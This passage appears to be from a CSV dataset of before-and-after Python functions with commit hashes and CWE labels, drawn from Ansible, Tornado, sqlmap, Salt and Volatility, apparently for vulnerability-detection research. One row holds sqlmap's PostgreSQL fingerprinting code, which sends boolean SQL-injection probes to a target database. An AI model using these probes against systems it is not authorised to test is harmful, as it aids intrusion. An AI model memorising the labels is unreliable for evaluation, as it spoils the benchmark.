        ps_sources['thread_leaders'] = self._get_thread_leaders()
        ps_sources['psscan']         = self._get_psscan()

        # Build a list of offsets from all sources
        seen_offsets = []
        for source in ps_sources:

            tasks = ps_sources[source]

            for offset in tasks:

                if offset not in seen_offsets:
                    seen_offsets.append(offset)
                    yield offset, obj.Object(""task_struct"", offset = offset, vm = phys_addr_space), ps_sources"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/vault.py,0,"def run(self):
        super(VaultCLI, self).run()
        loader = DataLoader()

        # set default restrictive umask
        old_umask = os.umask(0o077)

        vault_ids = self.options.vault_ids

        # there are 3 types of actions, those that just 'read' (decrypt, view) and only
        # need to ask for a password once, and those that 'write' (create, encrypt) that
        # ask for a new password and confirm it, and 'read/write (rekey) that asks for the
        # old password, then asks for a new one and confirms it.

        # TODO: instead of prompting for these before, we could let VaultEditor
        #       call a callback when it needs it.
        if self.action in ['decrypt', 'view', 'rekey']:
            vault_secrets = self.setup_vault_secrets(loader,
                                                     vault_ids=vault_ids,
                                                     vault_password_files=self.options.vault_password_files,
                                                     ask_vault_pass=self.options.ask_vault_pass)

            if not vault_secrets:
                raise AnsibleOptionsError(""A vault password is required to use Ansible's Vault"")

        if self.action in ['encrypt', 'encrypt_string', 'create', 'edit']:
            if len(vault_ids) > 1:
                raise AnsibleOptionsError(""Only one --vault-id can be used for encryption"")

            vault_secrets = None
            vault_secrets = \
                self.setup_vault_secrets(loader,
                                         vault_ids=vault_ids,
                                         vault_password_files=self.options.vault_password_files,
                                         ask_vault_pass=self.options.ask_vault_pass,
                                         create_new_password=True)

            if not vault_secrets:
                raise AnsibleOptionsError(""A vault password is required to use Ansible's Vault"")

            encrypt_secret = match_encrypt_secret(vault_secrets)
            # only one secret for encrypt for now, use the first vault_id and use its first secret
            # self.encrypt_vault_id = list(vault_secrets.keys())[0]
            # self.encrypt_secret = vault_secrets[self.encrypt_vault_id][0]
            self.encrypt_vault_id = encrypt_secret[0]
            self.encrypt_secret = encrypt_secret[1]

        if self.action in ['rekey']:
            new_vault_ids = []
            if self.options.new_vault_id:
                new_vault_ids.append(self.options.new_vault_id)

            new_vault_secrets = \
                self.setup_vault_secrets(loader,
                                         vault_ids=new_vault_ids,
                                         vault_password_files=self.options.new_vault_password_files,
                                         ask_vault_pass=self.options.ask_vault_pass,
                                         create_new_password=True)

            if not new_vault_secrets:
                raise AnsibleOptionsError(""A new vault password is required to use Ansible's Vault rekey"")

            # There is only one new_vault_id currently and one new_vault_secret
            new_encrypt_secret = match_encrypt_secret(new_vault_secrets)

            self.new_encrypt_vault_id = new_encrypt_secret[0]
            self.new_encrypt_secret = new_encrypt_secret[1]

        loader.set_vault_secrets(vault_secrets)

        # FIXME: do we need to create VaultEditor here? its not reused
        vault = VaultLib(vault_secrets)
        self.editor = VaultEditor(vault)

        self.execute()

        # and restore umask
        os.umask(old_umask)",,ansible/ansible,c38ff3b8f84aed46fd087d91a457a6372eda9609,"def run(self):
        super(VaultCLI, self).run()
        loader = DataLoader()

        # set default restrictive umask
        old_umask = os.umask(0o077)

        vault_ids = self.options.vault_ids

        # there are 3 types of actions, those that just 'read' (decrypt, view) and only
        # need to ask for a password once, and those that 'write' (create, encrypt) that
        # ask for a new password and confirm it, and 'read/write (rekey) that asks for the
        # old password, then asks for a new one and confirms it.

        # TODO: instead of prompting for these before, we could let VaultEditor
        #       call a callback when it needs it.
        if self.action in ['decrypt', 'view', 'rekey']:
            vault_secrets = self.setup_vault_secrets(loader,
                                                     vault_ids=vault_ids,
                                                     vault_password_files=self.options.vault_password_files,
                                                     ask_vault_pass=self.options.ask_vault_pass)

            if not vault_secrets:
                raise AnsibleOptionsError(""A vault password is required to use Ansible's Vault"")

        if self.action in ['encrypt', 'encrypt_string', 'create', 'edit']:
            if len(vault_ids) > 1:
                raise AnsibleOptionsError(""Only one --vault-id can be used for encryption"")

            vault_secrets = None
            vault_secrets = \
                self.setup_vault_secrets(loader,
                                         vault_ids=vault_ids,
                                         vault_password_files=self.options.vault_password_files,
                                         ask_vault_pass=self.options.ask_vault_pass,
                                         create_new_password=True)

            if not vault_secrets:
                raise AnsibleOptionsError(""A vault password is required to use Ansible's Vault"")

            encrypt_secret = match_encrypt_secret(vault_secrets)
            # only one secret for encrypt for now, use the first vault_id and use its first secret
            # self.encrypt_vault_id = list(vault_secrets.keys())[0]
            # self.encrypt_secret = vault_secrets[self.encrypt_vault_id][0]
            self.encrypt_vault_id = encrypt_secret[0]
            self.encrypt_secret = encrypt_secret[1]

        if self.action in ['rekey']:
            new_vault_ids = []
            if self.options.new_vault_id:
                new_vault_ids.append(self.options.new_vault_id)

            new_vault_secrets = \
                self.setup_vault_secrets(loader,
                                         vault_ids=new_vault_ids,
                                         vault_password_files=self.options.new_vault_password_files,
                                         ask_vault_pass=self.options.ask_vault_pass,
                                         create_new_password=True)

            if not new_vault_secrets:
                raise AnsibleOptionsError(""A new vault password is required to use Ansible's Vault rekey"")

            # There is only one new_vault_id currently and one new_vault_secret
            new_encrypt_secret = match_encrypt_secret(new_vault_secrets)

            self.new_encrypt_vault_id = new_encrypt_secret[0]
            self.new_encrypt_secret = new_encrypt_secret[1]

        loader.set_vault_secrets(vault_secrets)
        self.secrets = vault_secrets

        # FIXME: do we need to create VaultEditor here? its not reused
        vault = VaultLib(self.secrets)
        self.editor = VaultEditor(vault)

        self.execute()

        # and restore umask
        os.umask(old_umask)"
,UNKNOWN,UNKNOWN,tornado/concurrent.py,1,"def chain_future(a: ""Future[_T]"", b: ""Future[_T]"") -> None:
    """"""Chain two futures together so that when one completes, so does the other.

    The result (success or failure) of ``a`` will be copied to ``b``, unless
    ``b`` has already been completed or cancelled by the time ``a`` finishes.

    .. versionchanged:: 5.0

       Now accepts both Tornado/asyncio `Future` objects and
       `concurrent.futures.Future`.

    """"""

    def copy(a: ""Future[_T]"") -> None:
        if b.done():
            return
        if hasattr(a, ""exc_info"") and a.exc_info() is not None:  # type: ignore
            future_set_exc_info(b, a.exc_info())  # type: ignore
        else:
            a_exc = a.exception()
            if a_exc is not None:
                b.set_exception(a_exc)
            else:
                b.set_result(a.result())

    if isinstance(a, Future):
        future_add_done_callback(a, copy)
    else:
        # concurrent.futures.Future
        from tornado.ioloop import IOLoop

        IOLoop.current().add_future(a, copy)",CWE-703,tornadoweb/tornado,a19263454ae62523fa586959b83bc0903c021697,"def chain_future(a: ""Future[_T]"", b: ""Future[_T]"") -> None:
    """"""Chain two futures together so that when one completes, so does the other.

    The result (success or failure) of ``a`` will be copied to ``b``, unless
    ``b`` has already been completed or cancelled by the time ``a`` finishes.

    .. versionchanged:: 5.0

       Now accepts both Tornado/asyncio `Future` objects and
       `concurrent.futures.Future`.

    """"""

    def copy(future: ""Future[_T]"") -> None:
        assert future is a
        if b.done():
            return
        if hasattr(a, ""exc_info"") and a.exc_info() is not None:  # type: ignore
            future_set_exc_info(b, a.exc_info())  # type: ignore
        else:
            a_exc = a.exception()
            if a_exc is not None:
                b.set_exception(a_exc)
            else:
                b.set_result(a.result())

    if isinstance(a, Future):
        future_add_done_callback(a, copy)
    else:
        # concurrent.futures.Future
        from tornado.ioloop import IOLoop

        IOLoop.current().add_future(a, copy)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/postgresql/fingerprint.py,0,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES):
            setDbms(DBMS.PGSQL)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.PGSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression(""%s::int=%s"" % (randInt, randInt))

        if result:
            infoMsg = ""confirming %s"" % DBMS.PGSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""COALESCE(%s, NULL)=%s"" % (randInt, randInt))

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.PGSQL
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.PGSQL)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.PGSQL
            logger.info(infoMsg)

            if inject.checkBooleanExpression(""REVERSE('sqlmap')='pamlqs'""):
                Backend.setVersion("">= 9.1.0"")
            elif inject.checkBooleanExpression(""LENGTH(TO_CHAR(1, 'EEEE'))>0""):
                Backend.setVersionList("">= 9.0.0"", ""< 9.1.0"")
            elif inject.checkBooleanExpression(""2=(SELECT DIV(6, 3))""):
                Backend.setVersionList(["">= 8.4.0"", ""< 9.0.0""])
            elif inject.checkBooleanExpression(""EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8""):
                Backend.setVersionList(["">= 8.3.0"", ""< 8.4.0""])
            elif inject.checkBooleanExpression(""ISFINITE(TRANSACTION_TIMESTAMP())""):
                Backend.setVersionList(["">= 8.2.0"", ""< 8.3.0""])
            elif inject.checkBooleanExpression(""9=(SELECT GREATEST(5, 9, 1))""):
                Backend.setVersionList(["">= 8.1.0"", ""< 8.2.0""])
            elif inject.checkBooleanExpression(""3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))""):
                Backend.setVersionList(["">= 8.0.0"", ""< 8.1.0""])
            elif inject.checkBooleanExpression(""'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))""):
                Backend.setVersionList(["">= 7.4.0"", ""< 8.0.0""])
            elif inject.checkBooleanExpression(""'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))""):
                Backend.setVersionList(["">= 7.3.0"", ""< 7.4.0""])
            elif inject.checkBooleanExpression(""8=(SELECT BIT_LENGTH(1))""):
                Backend.setVersionList(["">= 7.2.0"", ""< 7.3.0""])
            elif inject.checkBooleanExpression(""'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))""):
                Backend.setVersionList(["">= 7.1.0"", ""< 7.2.0""])
            elif inject.checkBooleanExpression(""8=(SELECT POW(2, 3))""):
                Backend.setVersionList(["">= 7.0.0"", ""< 7.1.0""])
            elif inject.checkBooleanExpression(""'a'=(SELECT MAX('a'))""):
                Backend.setVersionList(["">= 6.5.0"", ""< 6.5.3""])
            elif inject.checkBooleanExpression(""VERSION()=VERSION()""):
                Backend.setVersionList(["">= 6.4.0"", ""< 6.5.0""])
            elif inject.checkBooleanExpression(""2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))""):
                Backend.setVersionList(["">= 6.3.0"", ""< 6.4.0""])
            elif inject.checkBooleanExpression(""'s'=(SELECT SUBSTRING('sqlmap', 1, 1))""):
                Backend.setVersionList(["">= 6.2.0"", ""< 6.3.0""])
            else:
                Backend.setVersion(""< 6.2.0"")

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.PGSQL
            logger.warn(warnMsg)

            return False",,sqlmapproject/sqlmap,d5915e5d441cf2b2bd8e758834549263fcf5922a,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES):
            setDbms(DBMS.PGSQL)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.PGSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression(""%s::int=%s"" % (randInt, randInt))

        if result:
            infoMsg = ""confirming %s"" % DBMS.PGSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""COALESCE(%s, NULL)=%s"" % (randInt, randInt))

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.PGSQL
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.PGSQL)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.PGSQL
            logger.info(infoMsg)

            if inject.checkBooleanExpression(""REVERSE('sqlmap')='pamlqs'""):
                Backend.setVersion("">= 9.1.0"")
            elif inject.checkBooleanExpression(""LENGTH(TO_CHAR(1, 'EEEE'))>0""):
                Backend.setVersion("">= 9.0.0"", ""< 9.1.0"")
            elif inject.checkBooleanExpression(""2=(SELECT DIV(6, 3))""):
                Backend.setVersionList(["">= 8.4.0"", ""< 9.0.0""])
            elif inject.checkBooleanExpression(""EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8""):
                Backend.setVersionList(["">= 8.3.0"", ""< 8.4.0""])
            elif inject.checkBooleanExpression(""ISFINITE(TRANSACTION_TIMESTAMP())""):
                Backend.setVersionList(["">= 8.2.0"", ""< 8.3.0""])
            elif inject.checkBooleanExpression(""9=(SELECT GREATEST(5, 9, 1))""):
                Backend.setVersionList(["">= 8.1.0"", ""< 8.2.0""])
            elif inject.checkBooleanExpression(""3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))""):
                Backend.setVersionList(["">= 8.0.0"", ""< 8.1.0""])
            elif inject.checkBooleanExpression(""'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))""):
                Backend.setVersionList(["">= 7.4.0"", ""< 8.0.0""])
            elif inject.checkBooleanExpression(""'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))""):
                Backend.setVersionList(["">= 7.3.0"", ""< 7.4.0""])
            elif inject.checkBooleanExpression(""8=(SELECT BIT_LENGTH(1))""):
                Backend.setVersionList(["">= 7.2.0"", ""< 7.3.0""])
            elif inject.checkBooleanExpression(""'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))""):
                Backend.setVersionList(["">= 7.1.0"", ""< 7.2.0""])
            elif inject.checkBooleanExpression(""8=(SELECT POW(2, 3))""):
                Backend.setVersionList(["">= 7.0.0"", ""< 7.1.0""])
            elif inject.checkBooleanExpression(""'a'=(SELECT MAX('a'))""):
                Backend.setVersionList(["">= 6.5.0"", ""< 6.5.3""])
            elif inject.checkBooleanExpression(""VERSION()=VERSION()""):
                Backend.setVersionList(["">= 6.4.0"", ""< 6.5.0""])
            elif inject.checkBooleanExpression(""2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))""):
                Backend.setVersionList(["">= 6.3.0"", ""< 6.4.0""])
            elif inject.checkBooleanExpression(""'s'=(SELECT SUBSTRING('sqlmap', 1, 1))""):
                Backend.setVersionList(["">= 6.2.0"", ""< 6.3.0""])
            else:
                Backend.setVersion(""< 6.2.0"")

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.PGSQL
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,salt/states/docker_network.py,1,"def present(
    name,
    skip_translate=None,
    ignore_collisions=False,
    validate_ip_addrs=True,
    containers=None,
    reconnect=True,
    **kwargs
):
    """"""
    .. versionchanged:: 2018.3.0
        Support added for network configuration options other than ``driver``
        and ``driver_opts``, as well as IPAM configuration.

    Ensure that a network is present

    .. note::
        This state supports all arguments for network and IPAM pool
        configuration which are available for the release of docker-py
        installed on the minion. For that reason, the arguments described below
        in the :ref:`NETWORK CONFIGURATION
        <salt-states-docker-network-present-netconf>` and :ref:`IP ADDRESS
        MANAGEMENT (IPAM) <salt-states-docker-network-present-ipam>` sections
        may not accurately reflect what is available on the minion. The
        :py:func:`docker.get_client_args
        <salt.modules.dockermod.get_client_args>` function can be used to check
        the available arguments for the installed version of docker-py (they
        are found in the ``network_config`` and ``ipam_config`` sections of the
        return data), but Salt will not prevent a user from attempting to use
        an argument which is unsupported in the release of Docker which is
        installed. In those cases, network creation be attempted but will fail.

    name
        Network name

    skip_translate
        This function translates Salt SLS input into the format which
        docker-py expects. However, in the event that Salt's translation logic
        fails (due to potential changes in the Docker Remote API, or to bugs in
        the translation code), this argument can be used to exert granular
        control over which arguments are translated and which are not.

        Pass this argument as a comma-separated list (or Python list) of
        arguments, and translation for each passed argument name will be
        skipped. Alternatively, pass ``True`` and *all* translation will be
        skipped.

        Skipping tranlsation allows for arguments to be formatted directly in
        the format which docker-py expects. This allows for API changes and
        other issues to be more easily worked around. See the following links
        for more information:

        - `docker-py Low-level API`_
        - `Docker Engine API`_

        .. versionadded:: 2018.3.0

    .. _`docker-py Low-level API`: http://docker-py.readthedocs.io/en/stable/api.html#docker.api.container.ContainerApiMixin.create_container
    .. _`Docker Engine API`: https://docs.docker.com/engine/api/v1.33/#operation/ContainerCreate

    ignore_collisions : False
        Since many of docker-py's arguments differ in name from their CLI
        counterparts (with which most Docker users are more familiar), Salt
        detects usage of these and aliases them to the docker-py version of
        that argument. However, if both the alias and the docker-py version of
        the same argument (e.g. ``options`` and ``driver_opts``) are used, an error
        will be raised. Set this argument to ``True`` to suppress these errors
        and keep the docker-py version of the argument.

        .. versionadded:: 2018.3.0

    validate_ip_addrs : True
        For parameters which accept IP addresses/subnets as input, validation
        will be performed. To disable, set this to ``False``.

        .. versionadded:: 2018.3.0

    containers
        A list of containers which should be connected to this network.

        .. note::
            As of the 2018.3.0 release, this is not the recommended way of
            managing a container's membership in a network, for a couple
            reasons:

            1. It does not support setting static IPs, aliases, or links in the
               container's IP configuration.
            2. If a :py:func:`docker_container.running
               <salt.states.docker_container.running>` state replaces a
               container, it will not be reconnected to the network until the
               ``docker_network.present`` state is run again. Since containers
               often have ``require`` requisites to ensure that the network
               is present, this means that the ``docker_network.present`` state
               ends up being run *before* the :py:func:`docker_container.running
               <salt.states.docker_container.running>`, leaving the container
               unattached at the end of the Salt run.

            For these reasons, it is recommended to use
            :ref:`docker_container.running's network management support
            <salt-states-docker-container-network-management>`.

    reconnect : True
        If ``containers`` is not used, and the network is replaced, then Salt
        will keep track of the containers which were connected to the network
        and reconnect them to the network after it is replaced. Salt will first
        attempt to reconnect using the same IP the container had before the
        network was replaced. If that fails (for instance, if the network was
        replaced because the subnet was modified), then the container will be
        reconnected without an explicit IP address, and its IP will be assigned
        by Docker.

        Set this option to ``False`` to keep Salt from trying to reconnect
        containers. This can be useful in some cases when :ref:`managing static
        IPs in docker_container.running
        <salt-states-docker-container-network-management>`. For instance, if a
        network's subnet is modified, it is likely that the static IP will need
        to be updated in the ``docker_container.running`` state as well. When
        the network is replaced, the initial reconnect attempt would fail, and
        the container would be reconnected with an automatically-assigned IP
        address. Then, when the ``docker_container.running`` state executes, it
        would disconnect the network *again* and reconnect using the new static
        IP. Disabling the reconnect behavior in these cases would prevent the
        unnecessary extra reconnection.

        .. versionadded:: 2018.3.0

    .. _salt-states-docker-network-present-netconf:

    **NETWORK CONFIGURATION ARGUMENTS**

    driver
        Network driver

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan

    driver_opts (or *driver_opt*, or *options*)
        Options for the network driver. Either a dictionary of option names and
        values or a Python list of strings in the format ``varname=value``. The
        below three examples are equivalent:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts: macvlan_mode=bridge,parent=eth0

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                  - macvlan_mode=bridge
                  - parent=eth0

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                  - macvlan_mode: bridge
                  - parent: eth0

        The options can also simply be passed as a dictionary, though this can
        be error-prone due to some :ref:`idiosyncrasies <yaml-idiosyncrasies>`
        with how PyYAML loads nested data structures:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - driver: macvlan
                - driver_opts:
                    macvlan_mode: bridge
                    parent: eth0

    check_duplicate : True
        If ``True``, checks for networks with duplicate names. Since networks
        are primarily keyed based on a random ID and not on the name, and
        network name is strictly a user-friendly alias to the network which is
        uniquely identified using ID, there is no guaranteed way to check for
        duplicates. This option providess a best effort, checking for any
        networks which have the same name, but it is not guaranteed to catch
        all name collisions.

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - check_duplicate: False

    internal : False
        If ``True``, restricts external access to the network

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - internal: True

    labels
        Add metadata to the network. Labels can be set both with and without
        values, and labels with values can be passed either as ``key=value`` or
        ``key: value`` pairs. For example, while the below would be very
        confusing to read, it is technically valid, and demonstrates the
        different ways in which labels can be passed:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - labels:
                  - foo
                  - bar=baz
                  - hello: world

        The labels can also simply be passed as a YAML dictionary, though this
        can be error-prone due to some :ref:`idiosyncrasies
        <yaml-idiosyncrasies>` with how PyYAML loads nested data structures:

        .. code-block:: yaml

            foo:
              docker_network.present:
                - labels:
                    foo: ''
                    bar: baz
                    hello: world

        .. versionchanged:: 2018.3.0
            Methods for specifying labels can now be mixed. Earlier releases
            required either labels with or without values.

    enable_ipv6 (or *ipv6*) : False
        Enable IPv6 on the network

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - enable_ipv6: True

        .. note::
            While it should go without saying, this argument must be set to
            ``True`` to :ref:`configure an IPv6 subnet
            <salt-states-docker-network-present-ipam>`. Also, if this option is
            turned on without an IPv6 subnet explicitly configured, you will
            get an error unless you have set up a fixed IPv6 subnet. Consult
            the `Docker IPv6 docs`_ for information on how to do this.

            .. _`Docker IPv6 docs`: https://docs.docker.com/v17.09/engine/userguide/networking/default_network/ipv6/

    attachable : False
        If ``True``, and the network is in the global scope, non-service
        containers on worker nodes will be able to connect to the network.

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - attachable: True

        .. note::
            This option cannot be reliably managed on CentOS 7. This is because
            while support for this option was added in API version 1.24, its
            value was not added to the inpsect results until API version 1.26.
            The version of Docker which is available for CentOS 7 runs API
            version 1.24, meaning that while Salt can pass this argument to the
            API, it has no way of knowing the value of this config option in an
            existing Docker network.

    scope
        Specify the network's scope (``local``, ``global`` or ``swarm``)

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - scope: local

    ingress : False
        If ``True``, create an ingress network which provides the routing-mesh in
        swarm mode

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ingress: True

    .. _salt-states-docker-network-present-ipam:

    **IP ADDRESS MANAGEMENT (IPAM)**

    This state supports networks with either IPv4, or both IPv4 and IPv6. If
    configuring IPv4, then you can pass the :ref:`IPAM pool arguments
    <salt-states-docker-network-present-ipam-pool-arguments>` below as
    individual arguments. However, if configuring IPv4 and IPv6, the arguments
    must be passed as a list of dictionaries, in the ``ipam_pools`` argument
    (click :ref:`here <salt-states-docker-network-present-ipam-examples>` for
    some examples). `These docs`_ also have more information on these
    arguments.

    .. _`These docs`: http://docker-py.readthedocs.io/en/stable/api.html#docker.types.IPAMPool

    *IPAM ARGUMENTS*

    ipam_driver
        IPAM driver to use, if different from the default one

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo

    ipam_opts
        Options for the IPAM driver. Either a dictionary of option names and
        values or a Python list of strings in the format ``varname=value``. The
        below three examples are equivalent:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts: foo=bar,baz=qux

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts:
                  - foo=bar
                  - baz=qux

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: foo
                - ipam_opts:
                  - foo: bar
                  - baz: qux

        The options can also simply be passed as a dictionary, though this can
        be error-prone due to some :ref:`idiosyncrasies <yaml-idiosyncrasies>`
        with how PyYAML loads nested data structures:

        .. code-block:: yaml

            mynet:
              docker_network.present:
                - ipam_driver: macvlan
                - ipam_opts:
                    foo: bar
                    baz: qux

    .. _salt-states-docker-network-present-ipam-pool-arguments:

    *IPAM POOL ARGUMENTS*

    subnet
        Subnet in CIDR format that represents a network segment

    iprange (or *ip_range*)
        Allocate container IP from a sub-range within the subnet

        Subnet in CIDR format that represents a network segment

    gateway
        IPv4 or IPv6 gateway for the master subnet

    aux_addresses (or *aux_address*)
        A dictionary of mapping container names to IP addresses which should be
        allocated for them should they connect to the network. Either a
        dictionary of option names and values or a Python list of strings in
        the format ``host=ipaddr``.

    .. _salt-states-docker-network-present-ipam-examples:

    *IPAM CONFIGURATION EXAMPLES*

    Below is an example of an IPv4-only network (keep in mind that ``subnet``
    is the only required argument).

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - subnet: 10.0.20.0/24
            - iprange: 10.0.20.128/25
            - gateway: 10.0.20.254
            - aux_addresses:
              - foo.bar.tld: 10.0.20.50
              - hello.world.tld: 10.0.20.51

    .. note::
        The ``aux_addresses`` can be passed differently, in the same way that
        ``driver_opts`` and ``ipam_opts`` can.

    This same network could also be configured this way:

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - ipam_pools:
              - subnet: 10.0.20.0/24
                iprange: 10.0.20.128/25
                gateway: 10.0.20.254
                aux_addresses:
                  foo.bar.tld: 10.0.20.50
                  hello.world.tld: 10.0.20.51

    Here is an example of a mixed IPv4/IPv6 subnet.

    .. code-block:: yaml

        mynet:
          docker_network.present:
            - ipam_pools:
              - subnet: 10.0.20.0/24
                gateway: 10.0.20.1
              - subnet: fe3f:2180:26:1::/123
                gateway: fe3f:2180:26:1::1
    """"""
    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}

    try:
        network = __salt__[""docker.inspect_network""](name)
    except CommandExecutionError as exc:
        msg = exc.__str__()
        if ""404"" in msg:
            # Network not present
            network = None
        else:
            ret[""comment""] = msg
            return ret

    # map container's IDs to names
    to_connect = {}
    missing_containers = []
    stopped_containers = []
    for cname in __utils__[""args.split_input""](containers or []):
        try:
            cinfo = __salt__[""docker.inspect_container""](cname)
        except CommandExecutionError:
            missing_containers.append(cname)
        else:
            try:
                cid = cinfo[""Id""]
            except KeyError:
                missing_containers.append(cname)
            else:
                if not cinfo.get(""State"", {}).get(""Running"", False):
                    stopped_containers.append(cname)
                else:
                    to_connect[cid] = {""Name"": cname}

    if missing_containers:
        ret.setdefault(""warnings"", []).append(
            ""The following containers do not exist: {}."".format(
                "", "".join(missing_containers)
            )
        )

    if stopped_containers:
        ret.setdefault(""warnings"", []).append(
            ""The following containers are not running: {}."".format(
                "", "".join(stopped_containers)
            )
        )

    # We might disconnect containers in the process of recreating the network,
    # we'll need to keep track these containers so we can reconnect them later.
    disconnected_containers = {}

    try:
        kwargs = __utils__[""docker.translate_input""](
            salt.utils.dockermod.translate.network,
            skip_translate=skip_translate,
            ignore_collisions=ignore_collisions,
            validate_ip_addrs=validate_ip_addrs,
            **__utils__[""args.clean_kwargs""](**kwargs)
        )
    except Exception as exc:  # pylint: disable=broad-except
        ret[""comment""] = exc.__str__()
        return ret

    # Separate out the IPAM config options and build the IPAM config dict
    ipam_kwargs = {}
    ipam_kwarg_names = [""ipam"", ""ipam_driver"", ""ipam_opts"", ""ipam_pools""]
    ipam_kwarg_names.extend(
        __salt__[""docker.get_client_args""](""ipam_config"")[""ipam_config""]
    )
    for key in ipam_kwarg_names:
        try:
            ipam_kwargs[key] = kwargs.pop(key)
        except KeyError:
            pass
    if ""ipam"" in ipam_kwargs:
        if len(ipam_kwargs) > 1:
            ret[""comment""] = (
                ""Cannot mix the 'ipam' argument with any of the IPAM config ""
                ""arguments. See documentation for details.""
            )
            return ret
        ipam_config = ipam_kwargs[""ipam""]
    else:
        ipam_pools = ipam_kwargs.pop(""ipam_pools"", ())
        try:
            ipam_config = __utils__[""docker.create_ipam_config""](
                *ipam_pools, **ipam_kwargs
            )
        except Exception as exc:  # pylint: disable=broad-except
            ret[""comment""] = exc.__str__()
            return ret

    # We'll turn this off if we decide below that creating the network is not
    # necessary.
    create_network = True

    if network is not None:
        log.debug(""Docker network '%s' already exists"", name)

        # Set the comment now to say that it already exists, if we need to
        # recreate the network with new config we'll update the comment later.
        ret[
            ""comment""
        ] = ""Network '{}' already exists, and is configured as specified"".format(name)
        log.trace(""Details of docker network '%s': %s"", name, network)

        temp_net_name = """".join(
            random.choice(string.ascii_lowercase) for _ in range(20)
        )

        try:
            # When using enable_ipv6, you *must* provide a subnet. But we don't
            # care about the subnet when we make our temp network, we only care
            # about the non-IPAM values in the network. And we also do not want
            # to try some hacky workaround where we choose a small IPv6 subnet
            # to pass when creating the temp network, that may end up
            # overlapping with a large IPv6 subnet already in use by Docker.
            # So, for purposes of comparison we will create the temp network
            # with enable_ipv6=False and then munge the inspect results before
            # performing the comparison. Note that technically it is not
            # required that one specify both v4 and v6 subnets when creating a
            # network, but not specifying IPv4 makes it impossible for us to
            # reliably compare the SLS input to the existing network, as we
            # wouldng't know if the IPv4 subnet in the existing network was
            # explicitly configured or was automatically assigned by Docker.
            enable_ipv6 = kwargs.pop(""enable_ipv6"", None)
            __salt__[""docker.create_network""](
                temp_net_name,
                skip_translate=True,  # No need to translate (already did)
                enable_ipv6=False,
                **kwargs
            )
        except CommandExecutionError as exc:
            ret[""comment""] = ""Failed to create temp network for comparison: {}"".format(
                exc.__str__()
            )
            return ret
        else:
            # Replace the value so we can use it later
            if enable_ipv6 is not None:
                kwargs[""enable_ipv6""] = enable_ipv6

        try:
            try:
                temp_net_info = __salt__[""docker.inspect_network""](temp_net_name)
            except CommandExecutionError as exc:
                ret[""comment""] = ""Failed to inspect temp network: {}"".format(
                    exc.__str__()
                )
                return ret
            else:
                temp_net_info[""EnableIPv6""] = bool(enable_ipv6)

            # Replace the IPAM configuration in the temp network with the IPAM
            # config dict we created earlier, for comparison purposes. This is
            # necessary because we cannot create two networks that have
            # overlapping subnets (the Docker Engine will throw an error).
            temp_net_info[""IPAM""] = ipam_config

            existing_pool_count = len(network[""IPAM""][""Config""])
            desired_pool_count = len(temp_net_info[""IPAM""][""Config""])

            is_default_pool = (
                lambda x: True if sorted(x) == [""Gateway"", ""Subnet""] else False
            )

            if (
